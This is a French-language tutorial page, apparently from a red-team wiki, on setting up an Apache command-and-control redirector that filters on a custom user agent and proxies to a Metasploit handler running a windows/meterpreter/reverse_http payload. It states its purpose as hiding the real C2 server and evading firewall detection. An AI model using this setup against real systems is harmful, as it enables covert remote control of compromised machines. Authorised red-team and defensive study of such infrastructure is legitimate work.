↗️Redirecteurs
👇 Qu'est-ce qu'un Redirecteur?
Les redirecteurs de commande et de contrôle (C2) sont des serveurs qui redirigent les requêtes HTTP/HTTPS en fonction des informations contenues dans le corps de la requête HTTP. Ces redirecteurs sont utilisés dans les opérations avancées d'adversaires pour cacher la véritable adresse du serveur de commande et de contrôle. Dans ce guide, nous explorerons ce qu'est un redirecteur, pourquoi il est utilisé et comment le configurer.

📋 Pourquoi utiliser un Redirecteur?
L'utilisation d'un redirecteur dans les opérations d'adversaires permet de cacher la véritable adresse du serveur de commande et de contrôle. Cela garantit que toutes les informations collectées au cours de l'engagement sont sécurisées, même si le serveur C2 est compromis ou signalé. De plus, un redirecteur permet de contourner la détection par les pare-feu de nouvelle génération en masquant le trafic C2.
🛠️ Configuration d'un Redirecteur
La configuration d'un redirecteur implique l'utilisation d'Apache et de certains de ses modules, notamment "mod_rewrite", "mod_proxy" et "mod_headers". Voici les étapes pour configurer un redirecteur :
Installer Apache 2 :
apt install apache2
Activer les modules requis :
2enmod rewrite
a2enmod proxy
a2enmod proxy_http
a2enmod headers
Modifier la configuration d'Apache :
Ouvrez le fichier de configuration
/etc/apache2/sites-available/000-default.conf
.Activez le moteur de réécriture avec
RewriteEngine On
.Utilisez une condition de réécriture pour filtrer sur l'agent utilisateur HTTP avec
RewriteCond %{HTTP_USER_AGENT} "^NotMeterpreter$"
.Utilisez
ProxyPass
pour transmettre la requête à Metasploit avecProxyPass "/" "http://localhost:8080/"
.
Configurer Metasploit :
Voici un exemple de configuration Metasploit pour utiliser le payload windows/meterpreter/reverse_http
avec un redirecteur :
Ouvrez Metasploit :
msfconsole
Utilisez le module
exploit/multi/handler
:
use exploit/multi/handler
Définissez le payload sur
windows/meterpreter/reverse_http
:
set payload windows/meterpreter/reverse_http
LHOST (Local Host) : Adresse IP ou nom de domaine du serveur de redirection où les agents compromis envoient leurs connexions entrantes.
LPORT (Local Port) : Port sur le serveur de redirection où les connexions des agents compromis sont reçues.
ReverseListenerBindAddress : Adresse IP ou nom de domaine du serveur de redirection où le socket est lié pour écouter les connexions inverses des agents compromis.
ReverseListenerBindPort : Port sur le serveur de redirection où le socket est lié pour écouter les connexions inverses des agents compromis.
OverrideLHOST : Adresse IP ou nom de domaine du véritable serveur C2 vers lequel les connexions doivent être redirigées après avoir traversé le serveur de redirection.
OverrideLPORT : Port sur le véritable serveur C2 où les connexions des agents compromis sont redirigées.
HttpUserAgent : Nom d'utilisateur HTTP personnalisé utilisé dans les requêtes HTTP/HTTPS envoyées par les agents compromis pour masquer le trafic de C2.
OverrideRequestHost : Option pour remplacer l'en-tête Host dans les requêtes HTTP/HTTPS par l'adresse IP ou le nom de domaine spécifié dans OverrideLHOST. Assure que toutes les requêtes sont dirigées vers le véritable serveur C2 après la redirection.
Après la configuration, Metasploit sera configuré pour écouter les connexions entrantes sur l'adresse IP locale et le port spécifiés, avec tout le trafic HTTP/HTTPS passant par le serveur de redirection défini.
Last updated